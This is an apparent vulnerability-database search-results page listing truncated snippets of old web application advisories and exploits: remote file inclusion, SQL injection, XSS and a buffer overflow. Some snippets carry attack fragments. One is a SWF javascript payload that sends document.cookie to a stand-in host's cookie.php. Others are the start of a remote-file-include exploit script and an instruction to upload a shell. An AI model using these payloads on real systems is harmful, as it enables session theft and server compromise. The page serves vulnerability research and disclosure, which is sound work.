1267 matches found
PMB Services 3.0.13 - Multiple Remote File Inclusions
\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV68$2007 ----------------------------------------------------------------------------------------- ECHOADV68$2007 PMB Services = 3.0.13 Multiple Remote File Inclusion Vulnerability...
PMB Services <= 3.0.13 Multiple Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =================================================================== PMB Services = 3.0.13 Multiple Remote File Inclusion Vulnerability =================================================================== \ /\ \ / | \ \ | / \ // / | \ | \...
CVE-2007-1183
WebAPP before 0.9.9.5 allows remote authenticated users to spoof another user's Real Name via whitespace, which has unknown impact and attack vectors...
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
phpgenlib-rfi.txt
Exp coding : X-Turk web app : PhP Generic library & framework includepath Remote File Include Exploit My Site : Worldhackerz.net Thanx : Madconfig , H0tturk , Pala , Darkworm , Batty , Akrep , Str0ke , And Al Worldhackerz.net Team Users $rfi = "membres/membreManager.php?includepath="; $path = "/"...
Nuked Klan任意.SWF文件COOKIE窃取漏洞
Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...
CVE-2006-6853
Buffer overflow in Durian Web Application Server 3.02 freeware on Windows allows remote attackers to execute arbitrary code via a long string in a crafted packet to TCP port 4002...
CVE-2006-6853
Buffer overflow in Durian Web Application Server 3.02 freeware on Windows allows remote attackers to execute arbitrary code via a long string in a crafted packet to TCP port 4002...
CVE-2006-6675
Cross-site scripting XSS vulnerability in Novell NetWare 6.5 Support Pack 5 and 6 and Novell Apache on NetWare 2.0.48 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters in Welcome web-app...
CVE-2006-6675
Cross-site scripting XSS vulnerability in Novell NetWare 6.5 Support Pack 5 and 6 and Novell Apache on NetWare 2.0.48 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters in Welcome web-app...
CVE-2006-6675: Undefined Security Weakness
Cross-site scripting XSS vulnerability in Novell NetWare 6.5 Support Pack 5 and 6 and Novell Apache on NetWare 2.0.48 allows remote attackers to inject arbitrary web script or HTML via unspecified parameters in Welcome web-app...
Land Down Under / Seditio polls.php id Parameter SQL Injection
The remote version of Land Down Under or Seditio fails to sanitize input to the 'id' parameter of the 'polls.php' script before using it in a database query. Provided PHP's 'magicquotesgpc' setting is disabled, an unauthenticated attacker may be able to leverage this issue to uncover sensitive...
PHP Rapid Kill All Version File Injection
Discovered By:Null PHP Rapid Kill All Version File Injection U Can Upload Your Shell Code To Rapidshare.de and then copy link to the Link to Download text box of the web app then your shell Uploaded To this URL www.site.com/rapidpath/yourfile.php Download App:http://www.filefactory.com/file/f1486...
The preparation of the"invisible"Web App(in PHP, for example)-bug warning-the black bar safety net
This year the write things are is no power, dryly,we look at a thing good. Basically CGI scanners this includes the vast majority ofSQL injectiondetection tools, backend/upload/database scanner Are determined by the HTTP response code to determine, is 2 0 0, 4 0 4, 4 0 0 of these, believe that al...
DSA-1099-1 - horde2 - missing input sanitising
Bulletin has no description...
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
Web applications security vulnerabilities (PHP, ASP, JSP, CGI, Perl)
PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc...
AltantisFAQ SQL inj. vuln.
Atlantis GPL Knowledge Base Software SQL inj. vuln. Vuln. dicovered by : r0t Date: 28 nov. 2005 Orginal advisory:http://pridels.blogspot.com/2005/11/altantisfaq-sql-inj-vuln.html Vendor:http://atlantisfaq.com/ affected version:3.0 and prior Product Description: Atlantis FAQ AltantisFAQ Free...